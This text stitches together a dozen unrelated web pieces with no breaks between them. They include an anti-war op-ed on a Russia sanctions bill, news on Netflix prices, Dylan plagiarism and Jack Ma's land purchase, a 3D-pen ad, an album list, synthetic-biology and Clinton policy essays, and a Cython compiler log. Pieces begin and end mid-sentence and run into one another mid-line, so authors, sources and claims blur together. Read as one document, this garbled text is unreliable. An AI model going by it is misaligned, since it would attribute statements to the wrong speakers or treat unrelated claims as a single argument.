Any major Ukrainian attack upon Crimea would make war with Russia inevitable. Ukraine appears to be preparing for such an assault by drafting all men of ages 18 to 60 years, in a forced mobilization of its armed forces, which also includes calling up its active reserves of one million men, and bringing more than 1000 battle tanksout of storage. Putin is being told by his close advisers that Ukraine will have an army of half a million men in 2015.
RAPA would provide hundreds of millions of dollars to train and arm the rapidly expanding Ukrainian armed forces, and position US/NATO forces for rapid intervention on the side of Ukraine in the event of a Ukrainian-Russian war. Thus, the many political and military provisions of RAPA would certainly act to fully encourage Ukraine to carry out its stated policy to retake Crimea. The Republic of Georgia attacked Russian forces in 2008 with far fewer US promises of aid. Of course, RAPA would also arm Georgia, too.
RAPA moves the US towards nuclear war with Russia
A US/NATO-Russian war would instantly put US and Russian nuclear forces at peak alert, with both sides anticipating a nuclear first-strike from the other. Both the US and Russia have changed their nuclear war-fighting plans to include the use of preemptive nuclear first-strikes; both nations have “tactical” nuclear weapons designed for battlefield use.
The US has 180 B61 nuclear bombs deployed on six military bases of five other NATO states, which would be released to these NATO members in the event of a US/NATO-Russian war. Russia also has at least 1300 tactical nuclear weapons, and Russian war doctrine specifies their use against overwhelming conventional (NATO) forces. Any use of “tactical” or “battlefield” nuclear weapons, by either side, would likely trigger an equal or greater response from the other.
During the first Cold War, the US studiously avoided any direct military confrontation with Russia, because it was widely thought that such a war would inevitably escalate to become a nuclear war – which would utterly destroy both nations. However, there seems to be little thought or discussion of this in the US today, despite the fact that both the US and Russia appear to be preparing for such a war.
In May, the increasing tensions in Ukraine led both nations to almost simultaneously conduct large nuclear war games. Long-range Russian nuclear bombers tested US air defenses16 times in a ten day period (July 29 – August 7). US and Russian leaders are either unaware or choose to ignore the fact that such “games” and “tests” are a dress rehearsal for human extinction.
Peer-reviewed scientific studies predict the environmental consequences of a war fought with only a fraction of US and/or Russian strategic nuclear weapons would likely wipe out the human race. Scientists predict that even a “successful” US nuclear first-strike, which destroyed 100% of Russia’s nuclear forces before they could be launched, would create catastrophic changes in global weather that would eliminate growing seasons for years. Most humans and large animals would starve to death.
Nuclear war is suicide for humans, but our leaders still have their fingers on the nuclear triggers. There seems to be absolutely no awareness, either in our Federal government or in the American public, of the existential danger posed by nuclear war. Such ignorance is embodied by The Russian Aggression Prevention Act, which if enacted will put us on a direct course for nuclear war with Russia.
Steven Starr, Senior Scientist, Physicians for Social ResponsibilityImage copyright Getty Images Image caption Stranger Things has been a hit for Netflix
Netflix has raised prices in countries including the UK and US for the first time in two years.
The streaming video service will also increase subscription charges in some European countries, a spokeswoman said.
A standard UK plan will rise 50p to £7.99 a month, while a premium subscription for four simultaneous users jumps £1 to £9.99 a month.
The standard US plan increases by $1 to $10.99 a month, with a $2 rise to $13.99 for the premium option.
A basic subscription in the UK, which does not offer high definition viewing, remains at £5.99 a month.
The increases apply immediately for new customers, while existing users will be notified of the change 30 days in advance.
Germany and France are among the other countries where prices will rise. Subscriptions were tweaked in Canada, Latin America and some Nordic countries earlier this year.
Netflix said in July it has 104 million subscribers globally, while revenues rose 32% in the second quarter to $2.8bn.
Shares in Netflix closed 5.4% in New York, bringing the stock's gain this year to 56%.
The price rises come as Netflix faces growing competition from Amazon and other sites such as Hulu in the US.
Image copyright Getty Images Image caption Mary J. Blige (left) and director Dee Rees at the Toronto premiere of Mudbound
The company continues to spending heavily on original programming such as The Crown, Stranger Things and House of Cards.
It also promises 40 feature films this year ranging from "big-budget popcorn films to grassroots independent cinema".
One of those titles Mudbound, which Variety describes as "an epic about race and poverty in the 1940s Mississippi Delta", starring Mary J. Blige and Carey Mulligan.
The film, which premiered at the Toronto film festival last month, is available to stream from 17 November - the same day it opens in some US cinemas.
Some critics say it is a contender for the Academy Awards and would be the first Netflix feature to be in the Oscars race.In his speech, Dylan states: "Some men who receive injuries are led to God, others are led to bitterness."
In the SparkNotes book, Moby Dick is summarised as: "someone whose trials have led him toward God rather than bitterness."
Andrea Pitzer, a writer with Slate, went on to find, and AP verified, 20 other sentences with traces and phrases from the Moby Dick SparkNotes.
The cases Pitzer found are not blatant or explicit - there are no verbatim sentences, only identical phrases and similar phrasing.
For instance, Dylan spoke of how: "The ship's crew is made up of men of different races."
In the SparkNotes book on Moby Dick, it reads: "...a crew made up of men from many different countries and races."
Dylan has not responded to requests for comment.
But it is far from the first time he has been caught up in accusations of plagiarism.
He has long borrowed lyrics from other sources, with his 2001 album Love and Theft drawing criticism for lyrics seemingly culled from Junichi Saga's book Confessions of a Yakuza and Henry Timrod's Civil War poetry.
Even paintings from his 2011 exhibit, The Asia Series, were noted for their similarities to well-known photographs taken by Henri Cartier-Bresson and Léon Busy.The world's first 3D printing pen.
Drawing is a fun way to make art. But when you use pens to draw, it's so two-dimensional. Time to take your art to the next level with the 3Doodler 3D Printing Pen. This is one of the coolest inventions to ever be invented. And you'll think so too, the first time you draw (i.e., print) a line going straight up into the air and watch it not fall back down, you'll experience a thrill that can only be described as awesome. But how is this magic possible? Read on, and fall in love with your next "favorite new toy."
Plug in your 3Doodler 3D Printing Pen and give it about a minute to warm up. Then insert a strand of plastic into the back. There are two arrows and thus two speeds. Press the speed of your choice, and watch the plastic flow out of the 3Doodler 3D Printing Pen. And then you just draw and connect and fill in and make magic happen. Wanna switch colors mid build? Just push both buttons and the plastic will eject out of the back. Slip in another color, print out a little bit (as the colors blend from remains of old color into new color, and then get back to drawing. You're too talented to just draw in two dimensions - kick it to the next level with the 3Doodler 3D Printing Pen.
But ThinkGeek, which plastic do I use, ABS or PLA? Both are good choices, as both have special features. ABS is mainly for building flexible 3D structures (like many of the things pictured, while PLA is great for doodling on glass or windows (i.e., it's stickier than ABS) and can be semi-transparent.Brandon, a property featuring seven miles of unspoiled river, eleven trout ponds, and a 2,200-foot mountain, was put on sale in 2012 for $27 million. It had previously been owned by the heiress Wilhelmina du Pont Ross, who died in 2000, and subsequently by Brandon Park LLC, which has headquarters in Delaware.
However, on May 21, according to county clerk records, New Brandon LLC, an limited liability corporation registered to the same Hong Kong address as Jack Ma's residence in the Branksome Crest tower, purchased the Franklin County property, which includes two parcels in the town of Santa Clara and one in Harrietstown, for $22,975,000.
Jack Ma. Getty Images
Ma joins a line of American royalty that has owned the property in the unspoiled wilderness region known for compounds known as Great Camps built by some of the country's most prominent families beginning in the 19th-century. Ma's parcel in the middle of the six-million-acre Adirondack Park was previously part of William A. Rockefeller, Jr.'s Bay Pond estate, which he established in the early 20th-century and spanned 110,000 acres. (William was the brother of John D. Rockefeller, at the time the richest man in the world.)
The Chinese magnate's parcel includes more than nine miles of the Saint Regis River and 11 brook trout ponds; an online listing calls it "perhaps the finest brook trout fishery in the eastern United States."
As reported by the Adirondack Almanack, the land includes eight homes and more than a dozen other structures, including guest cabins and a fish hatchery, and roughly 40 miles of roads. An easement donated to the Nature Conservancy by the previous owner forbids commercial development but allows for timber harvesting and the construction of nine additional homes, according to a prospectus prepared by Lake Placid real-estate broker Merrill L. Thomas Inc.
The land is close to Adirondack Regional Airport, whose 6,573-foot runway can accommodate the Gulfstream 550 jets on which Ma reportedly flies.
It's unclear whether the Alibaba founder, with a net worth of $25.4 billion and whose hobbies reportedly include "tai chi and kung fu novels," will take advantage of the trout fishing. The 2,200-foot peak on the property should provide ample space for the "meditation in the mountains" he is also said to enjoy.
"This is probably one of the last family-owned holdings in the Adirondacks," Vincent McClelland, a realtor at LandVest, the Christie's International Real Estate affiliate that had the listing, said in an online video about the property (below). "It's a great opportunity to join in a distinguished history of stewardship."
Welcome to America, Mr. Ma.Ancestry.com is out with a press release and a study this morning claiming that President Obama is descended from what they call the first ‘slave’ in America. “President Barack Obama,” says the press release, “is the 11th great-grandson of John Punch, the first documented African enslaved for life in American history.” And the kicker is, at least as far as this study goes, that it’s through his white mother.There are a lot of contingent claims in the study, done by Ancestry.com genealogist Joseph Shumway. The first is that an African man named John Punch became the first slave in 1640 — more on that in a moment.
Obama’s mother Stanley Ann Dunham was descended from slave-owning Virginians and Shumway’s argument is that Punch had children with a white woman who inherited her free status and eventually ‘passed’ into the white population. He is thus the ancestor of the Dunhams. That’s certainly not inherently implausible. There’s a lot of African blood among Southern whites. Much more common was white men and black women, though in these very early decades race hierarchies weren’t quite so nailed down.
Very few historians believe that the first ‘slave’ in what would become the United States became a slave in 1640. But Shumway’s argument is at least plausible. Here’s why.
In the first few decades of settlement in North America there was little of the fixed distinction between indentured servant and ‘slave’ — at least ‘slave’ in the sense that later American history would understand it, which is permanent, heritable and tied to race. So the distinction was a bit more fluid in these early decades. But more importantly, the records we have seldom do us the favor of explicitly making the distinction.
Shumway notes that Punch was an “indentured servant in Colonial Virginia, [who] was punished for trying to escape his servitude in 1640 by being enslaved for life. This marked the first actual documented case of slavery for life in the colonies, occurring decades before initial slavery laws were enacted in Virginia.”
This is a strained argument — it’s more about documentation than reality. But it may be true that this is the first explicit reference to lifetime slavery. There were relatively few Africans or slaves in Virginia before the 1660s and slavery only really began to take root in a big way late in the 17th century.
I’m inherently skeptical of any genealogical study put together by a company that is in the business of getting you to buy their genealogy hunting services. Ancestry.com has posted the details of its research here. I’m going to dig into them today. Take a look. Very curious to hear what you think.Always skewed depending on what they manage to get to sell as bonus discs. Nonetheless:
1. Caribou - Swim
2. Gil Scott-Heron - I'm New Here
3. These New Puritans - Hidden
4. Caitlin Rose - Own Side Now
5. Phosphorescent - Here's To Taking It Easy
6. Darkstar - North
7. Charlotte Gainsbourg - IRM
8. Gold Panda - Lucky Shiner
9. Wild Nothing - Gemini
10. Tame Impala - Innerspeaker
11. Broken Bells - Broken Bells
12. Avi Buffalo - Avi Buffalo
13. The National - High Violet
14. Emeralds - Does It Look Like I’m Here?
15. Beach House - Teen Dream
16. Voice Of The Seven Thunders - Voice Of The Seven Thunders
17. Perfume Genius - Learning
18. Crocodiles - Sleep Forever
19. The Black Keys - Brothers
20. The Morning Benders - Big Echo
21. Arcade Fire - The Suburbs
22. Salem - King Night
23. Brian Eno - Small Craft On A Milk Sea
24. Dylan Leblanc - Paupers Field
25. Joanna Newson - Have One On Me
26. Matthew Dear - Black City
27. Warpaint - The Fool
28. Liars - Sisterworld
29. LCD Soundsystem - This Is Happening
30. John Grant - Queen Of Denmark
31. Konono No 1 - Assume Crash Position
32. Smoke Fairies - Through Low Light And Trees
33. Surfer Blood - Astro Coast
34. Villagers - Becoming A Jackal
35. Crystal Castles - Crystal Castles
36. Mount Kimbie - Crooks And Lovers
37. Flying Lotus - Cosmogramma
38. Best Coast - Crazy For You
39. PVT - Church With No Magic
40. Laura Marling - I Speak Because I Can
41. Vampire Weekend - Contra
42. Edwyn Collins - Losing Sleep
43. Yeasayer - Odd Blood
44. Midlake - The Courage Of Others
45. The Soft Pack - The Soft Pack
46. Sleigh Bells - Treats
47. O Children - O Children
48. Glasser - Ring
49. Zola Jesus - Stridulum 2
50. Holly Miranda - The Magician’s Private Library
51. Sea Of Bees - Songs For The Ravens
52. JJ - No3
53. Pantha Du Prince - Black Noise
54. Twin Shadow - Forget
55. Gonjasufi - A Sufi And A Killer
56. Bear In Heaven - Beast Rest Forth Mouth
57. Ariel Pink’s Haunted Graffiti - Before Today
58. Cours Lapin - Cours Lapin
59. Darwin Deez - Darwin Deez
60. School Of Seven Bells - Disconnect From Desire
61. Beach Fossils - Beach Fossils
62. Shit Robot - From The Cradle To The Rave
63. Jonsi - Go
64. Dum Dum Girls - I Will Be
65. Belle And Sebastian - Belle And Sebastian Write About Love
66. Chilly Gonzales - Ivory Tower
67. Connan Mokasin - Please Turn Me Into The Snat
68. Holy Fuck - Latin
69. The School - Loveless Unbeliever
70. Tobacco - Maniac Meat
71. Dios - We Are Dios
72. Allo Darlin’ - Allo Darlin’
73. Swans - My Father Will Guide Me Up A Rope To The Sky
74. Male Bonding - Nothing Hurts
75. El Guincho - Pop Negro
76. Oneohtrix Point Never - Returnal
77. Kort (Kurt Wagner And Cortney Tidwell) - Invariable Heartache
78. Solar Bears - She Was Coloured In
79. Free Energy - Stuck On Nothing
80. Sufjan Stevens - The Age Of Adz
81. Kings Go Forth - The Outsiders Are Back
82. Grinderman - Grinderman 2
83. Dan Michaelson And The Coastguards - Shakes
84. Stornoway - Beachcomber’s Windowsill
85. Tamaryn - The Waves
86. The Tallest Man On Earth - The Wild Hunt
87. Four Tet - There Is Love In You
88. Magic Kids - Memphis
89. Marina And The Diamonds -Family Jewels
90. Mystery Jets - Serotonin
91. Black Angels - Phosphene Dream
92. Danger Mouse And Sparklehorse - Dark Night Of The Soul
93. Fool’s Gold - Fool’s Gold
94. Frankie Rose And The Outs - Frankie Rose And The Outs
95. Aloe Blacc - Good Things
96. Drums Of Death - Generation Hexed
97. Am - Future Sons And Daughters
98. Field Music - Field Music (Measure)
99. Hot Chip - One Life Stand
100. Time And Spacemachine - Set Phazer To StunSynthetic Biology Synthetic biology, the application of principles of engineering to biology, allows scientists to design, reimagine, and fabricate entirely new biological systems and components that do not exist in nature. The burgeoning field combines genomics and the chemical synthesis of DNA, allowing researchers to manufacture various DNA sequences quickly and assemble them in all new ways, creating unique genomes. In short, synthetic biology is the realm of creating life from scratch. Scientists are closer to achieving this ability than they’ve ever been before — and investors and technology innovators are watching. Record sums are being invested in synthetic biology, which is promising to deliver novel biofuels, drugs, foods, materials, bio-products like organs for transplant, chemicals, and even perfumes. All of this promise is offsetting safety and ethical concerns for many investors who can’t resist the siren song of the incredible range of applications for synthetic biological products, and their vast market potential. This temptation is enhanced by the fact that the cost of DNA analysis only continues to drop. Matt Ocko, a venture capitalist whose past Silicon Valley investments include Uber, Facebook, and Zynga, thinks that synthetic biology has already proven it can deliver economic value with its “epiphany” moment. “Synthetic biology companies are now becoming more like the disruptive, industrial-scale value propositions that define any technology business,” he told Reuters. “The things that sustain and accelerate this industry are today more effective, lower cost, more precise and more repeatable. That makes it easier to extract disruptive value.”
Experts met in London during the first week in April for a global synthetic biology conference. This meeting came only four weeks after researchers revealed they were almost finished synthesizing the entire genome of baker’s yeast. This is significant in that yeast is a eukaryote, and its cells contain nuclei — just like ours. The yeast project has proven that large-scale DNA manipulation is possible. In practice, the scientists working on the project have treated the process as if they were “decoding” it, thereby learning to work with a novel programming language that has four chemical building blocks (A, C, G, and T) rather than 1s and 0s. This is a very relatable concept for tech investors who are looking for the next amazing breakthrough, and the numbers in synthetic biology prove it. According to synthetic biology network SynBioBeta, in 2016, a record $1.21 billion was invested in the synthetic biology sector worldwide. That’s three times as much as in 2011 — and in that same amount of time. Further, the number of synthetic biology firms almost doubled to 411. A variety of synthetic biology companies are starting up, offering everything from new industrial chemicals to DNA synthesis and software — such as Britain’s Synthace and Twist Bioscience in the U.S. This is a far cry from the original algal biofuel focus seen in synthetic biology circles, and many commentators think that’s a good thing. Stanford University’s Drew Endy explained to Reuters: “Why would you bank your whole platform on a bulk high-volume, low-price, low-margin product? It’s baffling, not strategic.” Synbio firms have gotten smarter, too — not just in terms of the tech and science, but in drawing investment. Bolt Threads of California recently debuted yeast-derived spider’s silk in the form of a limited edition $314 necktie. Their Japanese competitor, Spiber, created a spider-silk concept parka jacket. Gingko Bioworks of Boston is developing a synthetic rose oil for Robertet, a French fragrance house, and Evolva of Switzerland has created a vanilla extract that is free of petrochemicals — unlike most vanilla flavorings.
Synthesizing The Future As with any new technology — especially one that touches healthcare, food, and the environment — synthetic biology has its critics. In a time of rampant anti-GMO sentiments, it’s no surprise that Friends of the Earth has described the vanillin derived from yeast as “extreme genetic engineering.” Other controversies, such as those surrounding de-extinction of species such as the Tasmanian tiger and the Woolly Mammoth, are making waves in both scientific and lay communities. However, the crux of the anti-synthetic biology argument is substantially the same as that of the anti-GMO argument: we shouldn’t play God. If we do, there may be unpredictable, Frankenstein-esque consequences that we can’t control. This argument isn’t all that persuasive, primarily because it is neither evidence-based nor specific enough to mean much. Caution and scientifically rigorous process are certainly called for, as is the collaborative application of bioethics at these early stages in the game. These kinds of safety nets will bear far more protective fruit than either fear-mongering or outright prohibitions, especially considering how much we all stand to gain from synthetic biology. The field is likely to yield tremendous benefits to human health, numerous industries, and the environment. Scientists will use synthetic biology to identify and remove environmental contaminants from air and water. Engineers will apply synthetic biology to create devices to diagnose, monitor, and treat disease, and researchers will use it to develop new, more effective vaccines and drugs. Synthetic organs, organs on chips, and super biomaterials will be produced using this technology. Synthetic biology could be used to create living cell lines for pharmaceutical testing,as well as increase efficiency in biomanufacturing and chemical technology.
Intrexon, which has been fighting Zika virus and other dangerous diseases by releasing genetically manipulated mosquitoes by the millions in Brazil, is providing an example of synthetic biology |
reported: “Israeli warplanes attacked services facilities and residential buildings… claiming a number of lives and causing material damage.”
Israel does not openly participate in the Syrian conflict, but since 2013 it has carried out several officially unacknowledged air strikes on its neighbor’s territory. According to Israeli officials, these have targeted the weapons supply routes of the Hezbollah militant movement, Israel's Lebanon-based adversary.
In March, Syria said that it had launched anti-aircraft missiles aimed at Israeli military jets after they conducted airstrikes near the city of Palmyra, and were returning to base. Syrian media reported that one plane was downed, but Israel denied any losses.
According to the IDF, one of the Syrian projectiles was itself intercepted by an Israeli Arrow-2 missile, prompting Israel to disclose that its planes were operating in foreign airspace.running build_ext cythoning cython_bubblesort_nomagic.pyx to cython_bubblesort_nomagic.c building 'cython_bubblesort_nomagic' extension /usr/bin/clang -fno-strict-aliasing -Werror=declaration-after-statement -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/Users/sebastian/miniconda3/envs/py34/include -arch x86_64 -I/Users/sebastian/miniconda3/envs/py34/lib/python3.4/site-packages/numpy/core/include -I/Users/sebastian/miniconda3/envs/py34/include/python3.4m -c cython_bubblesort_nomagic.c -o build/temp.macosx-10.5-x86_64-3.4/cython_bubblesort_nomagic.o In file included from cython_bubblesort_nomagic.c:352: In file included from /Users/sebastian/miniconda3/envs/py34/lib/python3.4/site-packages/numpy/core/include/numpy/arrayobject.h:4: In file included from /Users/sebastian/miniconda3/envs/py34/lib/python3.4/site-packages/numpy/core/include/numpy/ndarrayobject.h:17: In file included from /Users/sebastian/miniconda3/envs/py34/lib/python3.4/site-packages/numpy/core/include/numpy/ndarraytypes.h:1761: /Users/sebastian/miniconda3/envs/py34/lib/python3.4/site-packages/numpy/core/include/numpy/npy_1_7_deprecated_api.h:15:2: warning: "Using deprecated NumPy API, disable it by " "#defining NPY_NO_DEPRECATED_API NPY_1_7_API_VERSION" [-W#warnings] #warning "Using deprecated NumPy API, disable it by " \ ^ In file included from cython_bubblesort_nomagic.c:352: In file included from /Users/sebastian/miniconda3/envs/py34/lib/python3.4/site-packages/numpy/core/include/numpy/arrayobject.h:4: In file included from /Users/sebastian/miniconda3/envs/py34/lib/python3.4/site-packages/numpy/core/include/numpy/ndarrayobject.h:26: /Users/sebastian/miniconda3/envs/py34/lib/python3.4/site-packages/numpy/core/include/numpy/__multiarray_api.h:1629:1: warning: unused function '_import_array' [-Wunused-function] _import_array(void) ^ In file included from cython_bubblesort_nomagic.c:353: In file included from /Users/sebastian/miniconda3/envs/py34/lib/python3.4/site-packages/numpy/core/include/numpy/ufuncobject.h:327: /Users/sebastian/miniconda3/envs/py34/lib/python3.4/site-packages/numpy/core/include/numpy/__ufunc_api.h:241:1: warning: unused function '_import_umath' [-Wunused-function] _import_umath(void) ^ cython_bubblesort_nomagic.c:18981:32: warning: unused function '__Pyx_PyUnicode_FromString' [-Wunused-function] static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { ^ cython_bubblesort_nomagic.c:19132:33: warning: unused function '__Pyx_PyInt_FromSize_t' [-Wunused-function] static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { ^ cython_bubblesort_nomagic.c:16538:1: warning: unused function '__pyx_add_acquisition_count_locked' [-Wunused-function] __pyx_add_acquisition_count_locked(__pyx_atomic_int *acquisition_count, ^ cython_bubblesort_nomagic.c:16548:1: warning: unused function '__pyx_sub_acquisition_count_locked' [-Wunused-function] __pyx_sub_acquisition_count_locked(__pyx_atomic_int *acquisition_count, ^ cython_bubblesort_nomagic.c:17017:26: warning: unused function '__Pyx_PyBytes_Equals' [-Wunused-function] static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2... ^ cython_bubblesort_nomagic.c:17298:32: warning: unused function '__Pyx_GetItemInt_List_Fast' [-Wunused-function] static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, P... ^ cython_bubblesort_nomagic.c:17312:32: warning: unused function '__Pyx_GetItemInt_Tuple_Fast' [-Wunused-function] static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o,... ^ cython_bubblesort_nomagic.c:17491:38: warning: unused function '__Pyx_PyInt_From_unsigned_long' [-Wunused-function] static CYTHON_INLINE PyObject* __Pyx_PyInt_From_unsigned_long(unsi... ^ cython_bubblesort_nomagic.c:17538:36: warning: function '__Pyx_PyInt_As_unsigned_long' is not needed and will not be emitted [-Wunneeded-internal-declaration] static CYTHON_INLINE unsigned long __Pyx_PyInt_As_unsigned_long(PyObject *x) { ^ cython_bubblesort_nomagic.c:17644:48: warning: unused function '__pyx_t_float_complex_from_parts' [-Wunused-function] static CYTHON_INLINE __pyx_t_float_complex __pyx_t_float_complex_fro... ^ cython_bubblesort_nomagic.c:17654:30: warning: unused function '__Pyx_c_eqf' [-Wunused-function] static CYTHON_INLINE int __Pyx_c_eqf(__pyx_t_float_complex a, __pyx_... ^ cython_bubblesort_nomagic.c:17657:48: warning: unused function '__Pyx_c_sumf' [-Wunused-function] static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_sumf(__pyx_t_floa... ^ cython_bubblesort_nomagic.c:17663:48: warning: unused function '__Pyx_c_difff' [-Wunused-function] static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_difff(__pyx_t_flo... ^ cython_bubblesort_nomagic.c:17675:48: warning: unused function '__Pyx_c_quotf' [-Wunused-function] static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_quotf(__pyx_t_flo... ^ cython_bubblesort_nomagic.c:17682:48: warning: unused function '__Pyx_c_negf' [-Wunused-function] static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_negf(__pyx_t_floa... ^ cython_bubblesort_nomagic.c:17688:30: warning: unused function '__Pyx_c_is_zerof' [-Wunused-function] static CYTHON_INLINE int __Pyx_c_is_zerof(__pyx_t_float_complex a) { ^ cython_bubblesort_nomagic.c:17691:48: warning: unused function '__Pyx_c_conjf' [-Wunused-function] static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_conjf(__pyx_t_flo... ^ cython_bubblesort_nomagic.c:17705:52: warning: unused function '__Pyx_c_powf' [-Wunused-function] static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_powf(__pyx_t_... ^ cython_bubblesort_nomagic.c:17764:49: warning: unused function '__pyx_t_double_complex_from_parts' [-Wunused-function] static CYTHON_INLINE __pyx_t_double_complex __pyx_t_double_complex_f... ^ cython_bubblesort_nomagic.c:17774:30: warning: unused function '__Pyx_c_eq' [-Wunused-function] static CYTHON_INLINE int __Pyx_c_eq(__pyx_t_double_complex a, __pyx_... ^ cython_bubblesort_nomagic.c:17777:49: warning: unused function '__Pyx_c_sum' [-Wunused-function] static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_sum(__pyx_t_doub... ^ cython_bubblesort_nomagic.c:17783:49: warning: unused function '__Pyx_c_diff' [-Wunused-function] static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_diff(__pyx_t_dou... ^ cython_bubblesort_nomagic.c:17795:49: warning: unused function '__Pyx_c_quot' [-Wunused-function] static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_quot(__pyx_t_dou... ^ cython_bubblesort_nomagic.c:17802:49: warning: unused function '__Pyx_c_neg' [-Wunused-function] static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_neg(__pyx_t_doub... ^ cython_bubblesort_nomagic.c:17808:30: warning: unused function '__Pyx_c_is_zero' [-Wunused-function] static CYTHON_INLINE int __Pyx_c_is_zero(__pyx_t_double_complex a) { ^ cython_bubblesort_nomagic.c:17811:49: warning: unused function '__Pyx_c_conj' [-Wunused-function] static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_conj(__pyx_t_dou... ^ cython_bubblesort_nomagic.c:17825:53: warning: unused function '__Pyx_c_pow' [-Wunused-function] static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_pow(__pyx_t_... ^ cython_bubblesort_nomagic.c:18247:27: warning: function '__Pyx_PyInt_As_char' is not needed and will not be emitted [-Wunneeded-internal-declaration] static CYTHON_INLINE char __Pyx_PyInt_As_char(PyObject *x) { ^ cython_bubblesort_nomagic.c:18347:27: warning: function '__Pyx_PyInt_As_long' is not needed and will not be emitted [-Wunneeded-internal-declaration] static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { ^ cython_bubblesort_nomagic.c:2955:32: warning: unused function '__pyx_f_5numpy_PyArray_MultiIterNew1' [-Wunused-function] static CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew1(PyOb... ^ cython_bubblesort_nomagic.c:3005:32: warning: unused function '__pyx_f_5numpy_PyArray_MultiIterNew2' [-Wunused-function] static CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew2(PyOb... ^ cython_bubblesort_nomagic.c:3055:32: warning: unused function '__pyx_f_5numpy_PyArray_MultiIterNew3' [-Wunused-function] static CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew3(PyOb... ^ cython_bubblesort_nomagic.c:3105:32: warning: unused function '__pyx_f_5numpy_PyArray_MultiIterNew4' [-Wunused-function] static CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew4(PyOb... ^ cython_bubblesort_nomagic.c:3155:32: warning: unused function '__pyx_f_5numpy_PyArray_MultiIterNew5' [-Wunused-function] static CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew5(PyOb... ^ cython_bubblesort_nomagic.c:3909:27: warning: unused function '__pyx_f_5numpy_set_array_base' [-Wunused-function] static CYTHON_INLINE void __pyx_f_5numpy_set_array_base(PyArrayObject *_... ^ cython_bubblesort_nomagic.c:3997:32: warning: unused function '__pyx_f_5numpy_get_array_base' [-Wunused-function] static CYTHON_INLINE PyObject *__pyx_f_5numpy_get_array_base(PyArrayObje... ^ 39 warnings generated. /usr/bin/clang -bundle -undefined dynamic_lookup -L/Users/sebastian/miniconda3/envs/py34/lib -arch x86_64 build/temp.macosx-10.5-x86_64-3.4/cython_bubblesort_nomagic.o -L/Users/sebastian/miniconda3/envs/py34/lib -o /Users/sebastian/github/python_reference/tutorials/cython_bubblesort_nomagic.soHillary Clinton’s political brand is mainstream, incremental and pragmatic. She presents herself as “the progressive who wants to get things done”, a tagline that emphasizes the need to sacrifice grand visions on the altar of results. She may prioritize reform over revolution, but she is also the candidate of much bigger ideas than is typically recognized.
One of these touches the heart of government itself: the role of the state. The modern state was created to protect its citizens; although the line between defending citizens from one another and foreign invaders and waging war as a foreign invader was blurry at best. As the sociologist Charles Tilly wrote: “War made the state and the state made war.” The state thus created was the “fiscal-military state”. In Manuel Lin-Miranda’s rap retelling of precisely this struggle between Hamilton and Jefferson: “If we assume the debts, the union gets a new line of credit, a financial diuretic; If we’re aggressive and competitive the union gets a boost.”
Over the course of the 20th century, in part because of the depredations of wars and economic depressions triggered by adventures and miscalculations of fiscal-military states, government as protector also become government as provider. In The Fourth Revolution, John Micklethwaite and Adrian Woolridge chronicle the evolution of the night-watchman state into the nanny state, even as they call for another revolution – this one to decouple “democracy from elephantiasis” and end the “supersizing of the state”.
For Hillary Clinton, the email nightmare is far from over | Jill Abramson Read more
A perusal of Hillary Clinton’s policy positions may not satisfy these criteria, but they do offer view of the state that is neither night-watchman or nanny: government as investor. The rhetoric of investment is everywhere. Policies to create jobs and raise wages, for instance, are described as part of the American tradition of “bipartisan investments in our future”. She calls for massive infrastructure investment, as well as research investments, most notably in clean energy, all of which are government’s most traditional investor roles.
She is also recommending major investments in human capital. Family policy is typically a backwater for politicians, but for Clinton it is central. She headlines her commitment to early childhood education with a sentence that she used repeatedly as secretary of state: “Every child deserves the chance to live up to his or her God-given potential.”
That is not just a platitude. It’s an investment philosophy. As for a venture capitalist, it is impossible to know which investments in a portfolio will pay off, only that it is necessary to seed as many as possible to find the winners and the steady earners. Government must invest in all citizens to harvest the full range of potential growth, knowledge, creativity, grit and resilience a society requires. As we now know, investing in children in the first five years of their lives, a period of intense brain development, determines not just how much they know at age five but how much and how well they will be able to learn for the rest of their lives.
Government must also invest in the ability of citizens to care for each other, largely through families, but also with the help of skilled paid caregivers. Clinton would increase “investments in childcare” such that no family has to pay more than 10% of its income to afford high-quality care. She supports paid family and medical leave of 12 weeks for every American and would raise wages and improve working conditions for childcare and eldercare workers. These jobs and services are part of “the caring economy”, one that will only grow as baby boomers age and millennials begin to have children of their own.
Clinton may find support for her vision of government in an unexpected place: Silicon Valley. Technology reporter Gregory Ferenstein has polled leading Silicon Valley entrepreneurs and concluded that they “want the government to be an investor in citizens, rather than as a protector from capitalism”. In the words of the Alphabet chairman, Eric Schmidt, “the combination of innovation, empowerment, and creativity will be our solution.”
The world that all of our children will enter, indeed that we ourselves must navigate in the coming decades, is whirling too fast and too unpredictably for any government to credibly promise either absolute protection or comprehensive provision of services. It can and will continue to do some of each. But its best bet is to cultivate talent and build resilience, investing in both individuals and families to allow them to take care of themselves and one another. Those investments must be substantial and long-term, but countries will not be able to compete without an infrastructure of care.The financial, political and social changes; national or international, affect our personal finances, many times, even without us noticing. As individuals and companies, we are immersed in an economic system, which dictates the structure of production, allocation of economic resources and distribution and consumption of goods and services; that we use daily in most of the world.
We are deeply interconnected and now, increasingly, because of technology. Therefore, what happens in China or the United States affects us in one way or another and we must be aware of it.
